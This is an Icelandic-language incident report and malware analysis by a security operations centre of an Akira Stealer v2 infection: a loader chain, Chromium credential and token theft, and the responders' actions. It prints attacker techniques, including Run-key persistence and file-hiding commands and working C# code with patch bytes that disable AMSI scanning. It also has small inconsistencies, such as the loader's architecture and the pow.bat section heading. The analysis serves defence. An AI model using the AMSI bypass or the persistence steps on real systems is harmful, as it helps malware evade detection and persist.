Inni í Akira Stealer: full tæknileg greining á einingaskiptum stealer

Það byrjaði með einu Defender-alerti í Microsoft 365. Ekkert malware, engar signature, engin panik. Aðeins hvísl í kliðnum. Það sem við afhjúpuðum voru mánuðir af þjófnaði á credentials, skurðnákvæmum, hljóðlátum og nánast ósýnilegum. Svona breytti CSOC okkar hljóðlátu merki í fullskala viðbrögð. Og skilaði viðskiptavini okkar stjórninni áður en hann vissi að hún væri farin.

Inni í Akira Stealer: full tæknileg greining á einingaskiptum stealer

Formáli

Þetta byrjaði eins og svo margar nútímaárásir: í kyrrþey. Defender-alert með lága vissu, "Suspicious sequence of exploration activities", kom upp meðan nýr viðskiptavinur var í onboarding inn í glueckkanja Cyber Security Operations Center (CSOC) okkar.

Það voru engar signature-samsvaranir. Engin flokkun sem malware. Engin viðbrögð frá rauntímavörn. Aðeins ein hegðunarfylgni í Microsoft 365 Defender, grafin í kliðnum, og samt ótvírætt röng.

Við triage á alertinu vakti ein tiltekin aðgerð athygli mína: python.exe hafði opnað bæði skrárnar Login Data og Web Data inni í Chromium-prófíl. Microsoft Defender stigmagnaði þetta samstundis í atvik með hátt alvarleikastig, "Possible theft of passwords and other sensitive web browser information."

Þetta var ekki falskt jákvætt. Þetta var toppurinn á einhverju dýpra.

Þegar ég rakti telemetríuna aftur á bak fann ég almennt binary í startup-möppunni, Updater.exe, sem ræsti NodeJS-byggðan wrapper (main.exe) sem keyrði skipanalínu til að ræsa script sem hét astor.py í gegnum python.exe.

Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py

Scriptið sótti ekki bara credentials, það keyrði runu af könnunarskrefum eftir kompromíseringu, þar á meðal registry-fyrirspurnir, fingrafar á kerfinu og upptalningu sem tók mið af réttindum. Það vann af skurðnákvæmni og hermdi eftir eðlilegri hegðun kerfisins til að komast hjá detection. Og það virkaði, næstum því.

Þegar fyrstu viðbrögð hófust:

  • Updater.exe var merkt af aðeins 1 af 69 engines á VirusTotal.
  • main.exe, astor.py og allir tengdir hlutar voru í raun ekki merktir á VirusTotal.
  • Engin skrá var undirrituð. Ekkert upphafið samhengi. Aðeins "venjuleg" ferli að gera mjög óvenjulega hluti.

Updater.exe snerti engin credentials. Það verkefni var frátekið fyrir astor.py, Python-payloadinn sem keyrði í minni, skrá sem skildi nánast engin spor eftir sig samkvæmt hönnun.

Innan 21 mínútu var kerfið sem varð fyrir árásinni einangrað frá netinu. Innan 70 mínútna var öllum credentials skipt út á öllum viðkomandi sviðum: innri auðkennum, SaaS-pöllum, þjónustum þriðja aðila.

En hinn raunverulegi vendipunktur kom þegar við drógum út og afkóðuðum Python-payloadinn að fullu. Það sem við fundum var ekki almennur stealer, heldur sérsniðin útgáfa af Akira Stealer v2, malware-fjölskyldu sem dreift er í viðskiptaskyni og seld í gegnum Telegram.

Þökk sé okkar eigin threat intelligence og reverse engineering getu gátum við endurgert alla virkni malware-sins, dregið út alla innbyggða indikatora og skilið í smáatriðum rökvísi þess við staging, exfiltration og val á credentials.

Það sem meira er, við létum ekki staðar numið við tæknilega attribution. Við gengum lengra.

Við gátum afhent viðskiptavininum heildstætt gagnasafn yfir exfiltreruð credentials: yfir 100 einkvæmar samsetningar notandanafns og lykilorðs, þar á meðal aðgangsupplýsingar að cloud-þjónustum, CRM-kerfum, innri pöllum og jafnvel persónulegum verkfærum lykilstarfsmanna. Þjófnaðurinn hafði staðið yfir mánuðum saman, og við gátum gert grein fyrir honum öllum.

Út frá því sem við lærðum af þessu máli smíðuðum við greiningartól fyrir eftirmála sýkingar sem skannar kerfin sem urðu fyrir árásinni, endurgerir aðgangsmynstur að credentials og býr til ítarlegar forensic-skýrslur sem kortleggja nákvæmlega hverju var stolið, hvenær og hvaðan.

Við sýnum stutta innsýn í þennan skanna í lok skýrslunnar.

Því þetta er meira en bara eitt atvik. Svona rannsökum við. Svona verjum við.

Velkomin í glueckkanja CSOC.
Svona vinnum við, því innbrot bíða ekki.

1. Upphaflegt atvik og samantekt á triage

Þann 31. mars 2025 gaf Microsoft Defender for Endpoint út alert merkt "Suspicious sequence of exploration activities" á Windows 10 64-bita endpoint. Ég hóf triage út frá þessu merki og fór yfir kerfið sem varð fyrir árásinni með hjálp ferlatrésins, tímalínu kerfisins og þeirra gagna sem Defender hafði tengt saman.

1.1 Triage byggt á tímalínu

Alertið benti á runu ferla sem kallaði á nánari skoðun. Við fyrstu yfirferð sá ég eftirfarandi aðgangsmynstur að Chrome-browsergögnum í staðbundna notandaprófílnum:

  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data

Þessi aðgangur var ræstur af ferli sem hét Updater.exe. Þótt Microsoft Defender hefði ekki merkt binary-ið út frá heuristískri eða hegðunarlegri greiningu fann ég detection fyrir Updater.exe á VirusTotal, merkt af einni einustu engine á þeim tímapunkti.

Microsoft Defender

Öll keyrslukeðjan sem sást var svona:

winlogon.exe
└── userinit.exe
    └── explorer.exe
        └── Updater.exe
            └── main.exe
                └── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
                    └── python.exe Crypto\Util\astor.py

Á þessu stigi hafði engin dýpri statísk eða dýnamísk greining á viðkomandi skrám farið fram. Áherslan mín var á að skilja hegðunina og samhengið á yfirborðsstigi. Heiti ferlanna og skráaslóðirnar voru almenn, og engin grunsamleg argument á skipanalínu komu fram önnur en hlekkjaða Python-keyrslan.

1.2 Fyrstu viðbrögð

Innan 21 mínútu frá fyrsta alertinu hóf ég einangrun hostsins með einangrunareiginleikum Defender for Endpoint. Markmiðið var að hindra mögulega frekari útbreiðslu eða exfiltration.

Innan fyrstu 70 mínútnanna héldum við áfram og skiptum út þeim credentials sem vitað var að væru notuð á hostinum sem varð fyrir árásinni, og náði það til innri kerfa, SaaS-palla og mikilvægra birgja þriðja aðila.

Reverse engineering-vinnan hófst eftir fyrstu innilokun. Næstu kaflar skjalfesta þá tæknilegu djúpköfun sem fylgdi í kjölfarið til að rannsaka innbrotið.

1.3 Samantekt viðbragða – hröð, gagnsæ, áhrifadrifin

Viðbrögð okkar sameinuðu hraða, sérþekkingu og rekstrarleg gæði, með stuðningi af reyndum verkferlum og fullu gagnsæi fyrir viðskiptavininn.

  • Frá detection að fullri innilokun á innan við 90 mínútum Defender-alert, einangrun frá neti, antivirus-skönnun og afturköllun credentials voru framkvæmd hratt og samstillt.
  • Ítarleg forensic-viðbrögð innan 48 klukkustunda Þar með talin heildargreining á diski og minni, yfirferð á browser-artifacts, detection á credential dumping og hegðunarleg endurgerð á athöfnum árásaraðilans.
  • Örugg endurheimt gagna og meðferð sönnunargagna Stolnu gögnin, þar á meðal cookies, lykilorð, tokens og browser-prófílar, voru endurheimt, varðveitt með forensic-hætti og afhent viðskiptavininum með öruggum hætti.
  • Gagnsæi og samskipti frá upphafi til enda Hvert skref, frá fyrsta alerti til úrbóta og yfirferðar, var skjalfest að fullu, deilt í rauntíma og tekið saman í skipulagðri CSIRT-afhendingu.

Þetta atvik sýnir hvernig glueckkanja CSOC stöðvar ekki bara malware, við tökum í sundur afleiðingar þess, skilum viðskiptavinum okkar stjórninni og breytum hverju atviki í þekkingu.

2. Arkitektúr malware-sins og yfirlit yfir keyrslukeðjuna

Malware-ið sem sást á endpointinum sem varð fyrir árásinni fylgdi skipulögðum arkitektúr í mörgum þrepum með skýrri verkaskiptingu: dreifingu, afkóðun, keyrslu og exfiltration gagna.

2.1 Yfirlit yfir keyrslukeðjuna

Keyrsluflæðið sem sást var svona:

Updater.exe

​   └── main.exe
​       └── cmd.exe
​           └── python.exe astor.py

Hver hluti keðjunnar lagði sitt af mörkum til að halda keðjunni ósýnilegri, einingaskiptri og hjá detection. Arkitektúrinn nýtti lögmæt runtimes og staðlaða túlka stýrikerfisins til að komast fram hjá detection-kerfum.

2.1.1 Óvissa um uppruna: upphafsvektorinn vantar

Þrátt fyrir umfangsmikla greiningu á umhverfinu eftir kompromíseringu var ekki hægt að ákvarða upphaflega aðgangsvektorinn með vissu. Óvissan stafar fyrst og fremst af því að malware-ið hafði verið virkt í áætlaða sex mánuði áður en það fannst, sem er lengra en sá geymslutími logga sem Microsoft Defender for Endpoint framfylgir.

Þar af leiðandi var engin telemetría eða forensic-artifacts til frá upphaflegum sýkingartíma. Engir upphaflegir atburðir um stofnun ferla, engin ummerki um skrár sem voru skrifaðar á disk og engar skipanalínufærslur tengdar afhendingarþrepinu voru endurheimtanlegar úr tímalínu Defender eða tengdum skynjurum.

Út frá samhengisvísbendingum og OSINT-heimildum gæti líkleg sýkingarleið hafa falið í sér:

  • Trójuvædd uppsetningarforrit fyrir crackaðan eða moddaðan leikjahugbúnað
  • Fölsuð hjálparforrit eða "performance boosters" sem dreift er á spjallborðum og vefsvæðum þriðja aðila
  • Illgjörn browser extensions sem beinast að tilteknum áhugasviðum notenda (t.d. kryptótengd verkfæri eða Discord-viðbætur)

Þetta eru þó áfram getgátur.

Enginn staðfestur dropper, enginn phishing-tölvupóstur og ekkert kompromíserað vefsvæði fannst við rannsóknina. Þótt arkitektúr malware-sins og keyrslukeðjan hafi verið endurgerð að fullu var ekki hægt að staðfesta upphaflega kompromíseringarpunktinn (MITRE ATT&CK T1190 / T1566).

2.1.2 Updater.exe – upphaflegur loader

Þegar ég fór yfir ferlatréð í Microsoft 365 Defender stakk Updater.exe strax í augu, ekki vegna þess sem það gerði, heldur vegna þess hversu hljóðlega það kom sér fyrir í keyrsluflæði kerfisins.

Þetta binary var skráð til sjálfvirkrar keyrslu í gegnum staðlaða Run-lykilinn í Windows:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Það þýddi að það ræstist í hvert sinn sem notandinn skráði sig inn í setuna sína, klassískur persistence-búnaður sem krefst engra upphafinna réttinda og sleppur oft óséður í gegn í EDR-telemetríu.

  • Skráartegund: keyranleg Windows PE-skrá (32-bita)
  • Undirritun: engin
  • VirusTotal-detection: 1 af 69 engines þegar triage fór fram
  • Keyrslusamhengi: medium integrity, notandaseta
  • Staðsetning: AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

Skráin sjálf var lítil, hreinlega þýdd og eftirtektarlaus frá sjónarhóli statískrar greiningar. Engir grunsamlegir strengir, engir dulkóðaðir hlutar og engin merki um obfuskun eða packing. Hún flutti inn aðeins lágmarkssafn af stöðluðum Windows API-föllum og innihélt engan innbyggðan payload.

Hegðun þess sagði þó meira. Eftir ræsingu dró Updater.exe út Electron-forrit úr meðfylgjandi safnskrá, sjálfstætt NodeJS-runtime pakkað með stöðluðum Electron-verkfærum. Í þessari útpökkuðu möppu var keyranleg skrá sem hét main.exe, sem var í kjölfarið ræst sem barnferli.

Updater.exe → main.exe

Á þessu stigi voru engir netindikatorar, engin process injection og ekkert frávik í réttindum eða upphafningu tokens. Allt hlutverk Updater.exe virtist vera hlutverk loaders, að koma hluta á öðru þrepi (main.exe) inn í umhverfið, líklega með það markmið að halda keðjunni ósýnilegri og einingaskiptri.

Þessi arkitektúrlega aðgreining er algeng í nútíma fjöldaframleiddu malware og stealer-verkfærasettum. Upphaflegi loaderinn virkar aðeins sem dreifingarstubbur og leyfir þyngri rökvísinni, oft obfuskeraðri, túlkaðri eða dýnamískt myndaðri, að liggja í síðari þrepum.

Í þessu tilviki þjónaði Updater.exe nákvæmlega þeim tilgangi: hljóðlátri fyrstu fótfestu hannaðri til að falla inn í umhverfið, haldast ógreind og ryðja brautina fyrir keyrslu hinnar eiginlegu stealer-rökvísi í main.exe og að lokum astor.py.

Það snerti ekki skráakerfið utan sinnar eigin möppu og virkjaði engar hegðunarreglur, og samt var það fyrsti dómínókubburinn í langri og vandlega smíðaðri árásarkeðju.

2.1.3 main.exe – obfuskerað ílát fyrir NodeJS-payload

Í kjölfar keyrslu Updater.exe var ræst binary á öðru þrepi sem hét main.exe. Þessi hluti kynnti sig sem venjulegt Electron-forrit, runtime-umhverfi sem pakkar saman Node.js og Chromium og er oft notað fyrir skjáborðsforrit á mörgum stýrikerfum. Sakleysislegt eðli þess er hluti af því sem gerir það svo hættulegt í röngum höndum.

Við skoðun kom í ljós að main.exe innihélt innri safnskrá sem hét app.asar, staðlaða pökkunarsniðið fyrir Electron-byggð forrit. Ólíkt lögmætum Electron-forritum var innihald þessarar safnskrár þó allt annað en venjulegt.

  • Pallur: Electron (Node.js + Chromium)
  • Arkitektúr: 64-bita Windows
  • Uppbygging innihalds: innbyggðar JavaScript-skrár í app.asar
  • Stig obfuskunar: hátt, náð með js-confuser, obfuskunarverkfærasetti fyrir JavaScript sem selt er á almennum markaði

Eftir decompilering og afobfuskun varð kjarnarökvísi main.exe augljós. Tilgangur þess var ekki að birta GUI eða keyra neina framendarökvísi, heldur virkaði það sem falinn stjórnandi keyrslunnar.

Hegðun sem sást:

  • Afkóðar og endurgerir Base64-kóðaða PowerShell-skipun sem geymd er inni í JavaScript-payloadinum
  • Ræsir cmd.exe til að keyra PowerShell-skipunina inline
  • PowerShell-skipunin kallar svo á python.exe og sendir með script sem liggur undir að því er virðist meinlausri möppuuppbyggingu (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py

Þessi hlekkjun gerði árásaraðilanum kleift að færa sig milli keyrslusamhengja og komast hjá einfaldri detection. Þar sem payloadinn var obfuskeraður og staged í minni komu hefðbundnar signature-byggðar varnir að engu gagni.

Electron-frameworkið veitti kjörna yfirhylmingu og leyfði keyrslu á handahófskenndu JavaScript án þess að vekja athygli. JavaScript-byggð keyrsla gaf einnig samhæfni milli stýrikerfa, sem leyfði sveigjanlega dreifingu og einfaldari samþættingu á dýnamískri stýrirökvísi.

Það sem gerði main.exe sérstaklega hættulegt var geta þess til að starfa án þess að skrifa niður nokkrar viðbótarskrár umfram það sem þegar hafði verið staged. Stealer-scriptið var kallað beint af diski, en öll staging- og keyrslurökvísi var áfram innbyggð í Electron-búntinum.

Í stuttu máli þjónaði main.exe sem obfuskeraður keyrslukjarni í mörgum lögum og virkaði sem hliðvörður milli upphaflegs persistence og fullrar virkjunar Akira Stealer-payloadsins í astor.py.

2.1.4 cmd.exe og PowerShell-relay

Þetta þrep keyrslukeðjunnar virkaði sem relay, ekki fyrir payload-rökvísi heldur fyrir obfuskun og óbeina leið.

Eftir að main.exe hafði lokið sínu hlutverki við að pakka út og afkóða payloadinn ræsti það cmd.exe-ferli. Þetta ferli innihélt sjálft enga illgjarna rökvísi og hvorki skrifaði né breytti skrám. Eini tilgangur þess var að vera wrapper utan um ræsingu PowerShell-setu með kóðaðri skipun.

Þessi aðferð er vel þekkt taktík til að draga úr sýnileika og komast hjá detection:

  • Keyrslukeðja:
    main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>"
    
  • Tilgangur:
    • Pakkar PowerShell-keyrslunni inn í aukalegt shell
    • Felur hinn eiginlega PowerShell-kóða fyrir beinum sýnileika í loggum
    • Kemst hjá EDR-kerfum sem bregðast við beinni notkun powershell.exe með grunsamlegum breytum

Með því að setja PowerShell-scriptið inn sem Base64-kóðaðan streng og kalla á það í gegnum cmd.exe komst árásaraðilinn hjá mörgum tegundum detection:

  • Heuristískum síum á skipanalínu
  • Staðlaðri loggun (t.d. Event ID 4104, 4688)
  • Reglubyggðum detections á powershell.exe-argument eins og -NoProfile, -ExecutionPolicy Bypass eða inline-scriptum

Athygli vekur að PowerShell-skipuninni var haldið í lágmarki og hún snerist eingöngu um að ræsa python.exe með slóð á innbyggða stealer-scriptið, astor.py. Engar viðbótareiningar voru hlaðnar og engar augljósar signature voru til staðar í minni.

Þessi relay-tækni er jafnt notuð í red teaming og af fágðum infostealers, sem létt evasion-lag sem er auðvelt að útfæra en erfitt að grípa án þess að tengja saman telemetríu.

Í þessu tilviki þjónaði cmd.exe nákvæmlega þeim tilgangi: einfaldri, hljóðlátri brú milli JavaScript-rökvísi og Python-keyrslu, brú sem slapp næstum því óséð í gegn.

2.1.5 python.exe með astor.py

Lokaþrepi keyrslukeðjunnar og því áhrifamesta var náð þegar python.exe kallaði á astor.py, einingaskiptan infostealer skrifaðan í Python sem keyrir alfarið í minni. Þetta script var rekstrarkjarni allrar árásarkeðjunnar.

Ólíkt mörgum fjöldaframleiddum stealers var astor.py ekki sett fram í plaintext. Það var varið með afkóðunarbúnaði í mörgum lögum:

  • Afkóðunarstakkur: Skráin var fyrst þjöppuð með GZIP og síðan dulkóðuð með AES-256-CBC.
  • Lykilleiðsla: Notað var PBKDF2-byggt ferli til að leiða lykil (SHA-512, 1.000.000 ítranir), sem gerir statíska greiningu og brute-forcing afar óhagkvæma.

Eftir afkóðun á keyrslutíma keyrði scriptið nokkrar sérhæfðar einingar sem allar beindust að viðkvæmum gagnalindum:

Kjarnavirkni

  • Útdráttur browsergagna: sótti innskráningar-credentials, cookies og sjálfvirk útfyllingargögn úr Chromium-byggðum browsers (Chrome, Edge, Brave, Opera)
  • Söfnun tokens: safnaði setutokens, einkum frá Discord, og leitaði að extensions fyrir kryptóveski
  • Pökkun gagna: safnaði öllum söfnuðum gögnum í skipulagða ZIP-safnskrá og varðveitti möppu- og skráasamhengi fyrir úrvinnslu hjá árásaraðilanum
  • Exfiltration: hlóð safnskránni sem varð til upp á opinber API og innviði.

Keyrslusamhengi

Öll stealer-rökvísin keyrði úr minni og engar varanlegar skrár voru skrifaðar á disk. Hún skildi eftir sig lágmarksspor í telemetríu umfram minnis-artifacts innan ferlisins og staðlað kall á undirferli. Engin tilraun var gerð til að koma á persistence á þessu þrepi, markmiðið var hraður, skilvirkur og hljóðlátur gagnaþjófnaður.

Notkun lögmætra API við exfiltration gerði detection og varnir einnig mun erfiðari, því útgangandi umferð féll inn í venjubundna netnotkun.

Þetta þrep staðfesti að lokum hvaða malware var á ferðinni: afbrigði af Akira Stealer v2, sem er þekkt fyrir:

  • Mikla einingaskiptingu
  • Obfuskun á keyrslutíma
  • Dreifingu í viðskiptaskyni í gegnum Telegram
  • Sterka áherslu á söfnun credentials og yfirtöku seta með tokens

Ásamt fyrri þrepunum myndaði astor.py úrslitapunkt í hljóðlátri og vel hannaðri infostealer-keðju. Í næstu köflum tökum við þennan hluta enn frekar í sundur og skýrum hvernig við snerum rökvísi hans við, kortlögðum innviði hans og endurheimtum hvern einasta indicator of compromise sem notaður var í aðgerðinni.

3. Deep Dive: Updater.exe

Updater.exe var fyrsta binary-ið sem sást við greiningu eftir kompromíseringu. Þrátt fyrir hlutlaust yfirbragð og hverfandi detection-fótspor gegndi það lykilhlutverki í að viðhalda rekstrarlegu persistence malware-sins og koma payload næsta þreps á sinn stað.

3.1 Eiginleikar

EiginleikiGildi
Snið:Windows Portable Executable (PE32)
Arkitektúr:x86-64
Stærð:~154 KB
Entrópía:eðlileg (ekki packað)
Signature:engin
VirusTotal-detection:1/69 við greiningu

Skráin hafði hreina import table og enga innbyggða strengjaindikatora. Engir þekktir packers, crypters eða obfuskunarbúnaður á keyrslutíma fundust. Uppbyggingin var í samræmi við sérþýdd binaries.

3.2 Hegðunargreining

Engin þátttaka notanda nauðsynleg

Malware-keðjan keyrði án þess að þurfa nokkra þátttöku notanda. Út frá ferlatelemetríu Defender var upphaflega binary-ið (Updater.exe) ræst sjálfkrafa, líklega í gegnum persistence-búnað eins og autorun-lykil í registry. Vegna aldurs kompromíseringarinnar og þess að eldri event logs vantaði var þó ekki unnt að endurheimta nákvæmlega hvaða aðferð var notuð.

Hljóðlát keyrsla og staging

Við keyrslu ræsti Updater.exe samstundis main.exe án nokkurs glugga og án nokkurra kvaðninga til notandans. Staging fór hljóðlega fram í bakgrunni. Það voru engin merki um samþykkisglugga, UAC-kvaðningar eða GUI-hluta.

Hegðun við dreifingu payloads

Í ljós kom að main.exe var hluti af Electron-forritsuppbyggingu, en nákvæmur uppruni dreifingar þess er enn óskýr. Annað af eftirfarandi er talið líklegt:

  • Payloadinn gæti hafa verið innbyggður í Updater.exe (t.d. sem innbyggt tilfang), eða
  • Hann gæti hafa verið sóttur frá fjartengdri heimild

Vegna þess að nettelemetría vantaði og engin harðkóðuð URL fannst er afhendingarvektorinn fyrir Electron-forritið enn óvís.

Hegðun ferlakeðjunnar

Við keyrslu ræsti Updater.exe main.exe sem barnferli. Kallið var ógagnvirkt og ekkert ferli sem sprottið var úr keðjunni sýndi virkni í viðmóti. Ferlakeðjan hélt áfram eins og vænta mátti:

Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py

Öll keyrsluþrep unnu án þess að þurfa inntak frá notanda og reiddu sig eingöngu á fyrirfram stillta ræsirökvísi og hljóðlátar keyrsluleiðir. Það lágmarkaði sýnileika og hjálpaði malware-inu að haldast ógreint í langan tíma.

3.3 Hlutverk í sýkingarkeðjunni

Updater.exe gegndi einu en ómissandi hlutverki í hinni víðari sýkingarkeðju: það var ábyrgt fyrir persistence og endurdreifingu hlutans á þrepi 2, main.exe.

Staðfest einkenni

  • Það innihélt ekki og keyrði ekki illgjarna rökvísi með beinum hætti
  • Það framkvæmdi enga exfiltration gagna
  • Það hafði engin samskipti við credential-geymslur browsers eða viðkvæm notandagögn

Eini tilgangur þess var að ræsa main.exe hljóðlega við innskráningu notanda, og var autorun-færsla í registry líklegasta aðferðin við persistence (þótt hún hafi ekki verið endurheimt með beinum hætti vegna takmarkana í telemetríu).

Með því að vera einangraður loader á fyrsta þrepi tryggði Updater.exe að hinn eiginlegi stealer-payload (astor.py) héldist hulinn í dýpri lögum keyrslunnar. Þessi verkaskipting gerði árásaraðilunum kleift að:

  • Komast hjá tengingum hjá statískum AV- eða sandbox-kerfum
  • Skipta út eða uppfæra payloads án þess að breyta loadernum
  • Draga úr hegðunarmerkjum við aðgangspunktinn

Þetta mynstur er dæmigert í malware-as-a-service (MaaS) aðgerðum, þar sem afhendingarbúnaðurinn er almennur og payloads einingaskipt eða sérsniðin að hverjum viðskiptavini.

Í þessu tilviki bauð Updater.exe upp á nákvæmlega þá rökvísi sem þurfti til að vera áreiðanlegur og hljóðlátur aðgangspunktur, ekkert meira en líka ekkert minna.

3.4 Persistence í gegnum registry (staðfest í astor.py)

Statísk greining á Python-payloadinum sýndi að Updater.exe er haldið við með beinum hætti með autorun-færslu í registry:

  • Registry-slóð: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • Heiti gildis: Realtek Audio
  • Slóð payloads: %APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Tilheyrandi registry-skipun er keyrð í gegnum PowerShell:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f

Þetta tryggir að malware-ið ræsist við hverja innskráningu notanda. Skráin er einnig merkt með hidden- og system-eigindum til að komast enn betur hjá detection:

attrib +h +s "Updater.exe"

Þessi persistence-búnaður var byggður beint inn í astor.py-kóðann, sem staðfestir að stealerinn á lokaþrepinu heldur loadernum virkt við á diski og í startup-registry.

3.5 Samantekt

Þótt Updater.exe hafi ekki verið illgjarnt í sjálfu sér, hvorki í uppbyggingu né innihaldi, staðfesti hegðun þess í samhengi keyrslukeðjunnar hlutverk þess sem malware-loader.

Þetta binary var hreinn og lágmarksstilltur ræsir á fyrsta þrepi og komst hjá detection frá statískri greiningu, AV-engines og hegðunarreglum. Hönnun þess einbeitti sér eingöngu að því að vera ósýnileg og styðja aðgerðina, ekki að keyra illgjarna rökvísi sjálf.

Hlutverk þess fór þó lengra en upphafleg dreifing. Við reverse engineering á astor.py-payloadinum greindum við rökvísi sem athugaði virkt hvort Updater.exe væri til staðar. Þessi athugun var hluti af víðari heilsu- og sjálfslæknandi hringrás innbyggðri í stealer-kóðann, búnaði sem ætlað var að sannreyna heilleika sýkingarkeðjunnar og endurheimta hluta sem vantaði ef þörf væri á.

Það þýðir að Updater.exe var ekki aðeins ábyrgt fyrir því að setja malware-ið af stað, heldur var það einnig hluti af áframhaldandi sannvottun þess á keyrslutíma. Án þessa stubbs gæti malware-ið misst getuna til að ræsa sig upp á nýtt í seinni setum.

Helstu hlutverk Updater.exe:

  • Snurðulaus dreifing main.exe
  • Óbein keyrsla astor.py
  • Aðgreining rökvísi loaders og payloads
  • Payloadinn sjálfur vísar í það sem hluti af vöktun á rekstrarheilsu

Í kafla 5 förum við nánar í innri heilsuathuganir stealersins, þar á meðal sjálfslæknandi hegðun hans og búnað til að sannvotta heilleika.

Að svo stöddu er ljóst að Updater.exe var bæði kveikjan og festan í þessum lagskipta infostealer-arkitektúr.

3.6 Útdráttarbrella: að leika á loaderinn

Stundum koma bestu niðurstöðurnar í reverse engineering ekki úr djúpri afþýðingu binaries, heldur úr smávægilegri brellu og þolinmæði.

Meðan við greindum sýkinguna í stýrðu tilraunaumhverfi tókum við eftir dálítið skrítnu: Updater.exe var til staðar og í keyrslu, en main.exe var horfið úr skráakerfinu. Þá fengum við hugmynd: hvað gerist ef við látum malware-ið gera við sig sjálft?

Við eyddum main.exe vísvitandi úr sýkta umhverfinu en létum Updater.exe óhreyft. Og viti menn, eftir næstu innskráningu notanda fór loaderinn á stað, ekki með gauragangi heldur með hljóðlátri tilraun til að byggja annað þrepið upp aftur.

Hér varð þetta áhugavert: í stað þess að endurgera main.exe beint skrifaði Updater.exe fyrst niður skrá sem hét app-64.7z, venjulega 7-Zip-safnskrá. Þessi safnskrá innihélt alla Electron-forritsuppbygginguna, þar á meðal main.exe, resources og app.asar-payloadinn með allri innbyggðri rökvísi.

Við höfðum í reynd þvingað malware-ið til að afhenda okkur upprunapakkann.

Grunsamleg keyranleg Updater-skrá greind

Með þessa 7z-safnskrá í höndunum gátum við dregið út, afþjappað og snúið JavaScript-byggðu stjórnrökvísinni við að fullu án þess að þurfa að koma nærri upprunalega loadernum aftur. Uppbygging safnskrárinnar passaði nákvæmlega við það Electron-forritsskipulag sem vænta mátti.

Þessi hegðun bendir sterklega til þess að árásaraðilarnir hafi vísvitandi valið einingaskiptan arkitektúr sem einfalt er að viðhalda og notað safnskrár sem sveigjanleg ílát fyrir payloads. Það gerði þeim einnig kleift að skipta út eða uppfæra hluta payloadsins án þess að endurþýða loader-binary-ið.

Og í okkar tilviki gerði það okkur kleift að leika á keðju þeirra, hlera droppið og hverfa á braut með allan pakkann, eins og að stela hönnunarteikningunum af vinnubekknum á meðan smiðurinn sneri sér undan.

Segjum bara sem er: stundum eru bestu forensic-verkfærin del, wait og smá forvitni.

4. Deep Dive: pow.bat

Í malware-herferðinni sem greind var virkar hlutinn Invoke-SharpLoader sem sérsmíðaður .NET-loader sem býr í minni og sýnir mjög einingaskipt og evasivt keyrsluflæði. Þessi kafli tekur í sundur innri arkitektúr hans, aðferðir hans gegn greiningu með AMSI-patchi og hlutverk hans í að greiða fyrir payloadinum á öðru þrepi.

4.1 Eiginleikar binaries – SharpLoader batch-wrapper

Áður en hann er keyrður til að hlaða .NET-payloadinum í minni sýnir ytri wrapperinn pow.bat eftirfarandi einkenni samkvæmt statískri greiningu:

EiginleikiGildi
Snið:DOS batch-skrá
Arkitektúr:scriptbyggt (ekki þýtt binary)
Skráarstærð:27,79 KB (28454 bæti)
Entrópía:eðlileg (einfaldur ASCII-texti)
Magic:DOS batch file, ASCII text
Rafræn undirritun:engin greind
VirusTotal-detection:26 / 61 (við greiningu)
Ógnarmerkingar:trojan, downloader, powershell, agentb

Þótt þetta sé einföld .bat-skrá kemst scriptið hjá mörgum statískum detections og reiðir sig mjög á living-off-the-land aðferðir eins og PowerShell til að sækja og keyra obfuskeraða og dulkóðaða payloads.

4.2 Aðferð til að komast hjá AMSI (klasi: gofor4msi)

Einn fyrsti varnarbúnaðurinn sem SharpLoader kemst hjá er AMSI, Anti-Malware Scan Interface, eiginleiki Microsoft sem samþættur er í scriptvélar eins og PowerShell og Windows Script Host til að skanna innihald í rauntíma með tilliti til grunsamlegrar hegðunar. Höfundar malware reyna oft að komast hjá AMSI til að forðast detection frá endpoint-vörnum.

Í SharpLoader er AMSI komist hjá með beinum patchi í minni á fallinu AmsiScanBuffer inni í amsi.dll. Þetta fall er venjulega ábyrgt fyrir því að greina innihald scripta og skila niðurstöðukóða sem segir til um hvort innihaldið sé grunsamlegt (AMSI_RESULT_DETECTED) eða hreint (AMSI_RESULT_CLEAN).

Viðkomandi kóði fyrir patch í minni er:

var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);

Þessi runa framkvæmir eftirfarandi skref:

  1. Hlaðið AMSI-DLL-inu inn í ferlið með LoadLibrary("amsi.dll").
  2. Finnið minnisheimilisfangið fyrir fallið AmsiScanBuffer með GetProcAddress().
  3. Breytið minnisvörninni á heimilisfanginu með VirtualProtect() svo það verði skrifanlegt.
  4. Skrifið yfir upphaf fallsins með Marshal.Copy() og litlum shellcode-patchi.

Patchinn sem notaður er á 64-bita kerfum er:

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret

Það samsvarar eftirfarandi instructions:

  • mov eax, 0x80070057 → setur skilakóðann á Windows-villukóðann E_INVALIDARG
  • ret → skilar samstundis úr fallinu

Þetta veldur því í reynd að AmsiScanBuffer bregst hljóðlega og skilar niðurstöðu um enga detection, sem gerir AMSI-athuganir óvirkar. Malware-ið getur nú keyrt scripta eða .NET-kóða sem annars myndi kveikja á antivirus-alerts.

Sé þetta keyrt á 32-bita kerfi er annar patch notaður:

static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18

Þetta endurspeglar sama markmið, að þvinga fram "hreina" niðurstöðu, en aðlagað að x86-kallvenjunni.

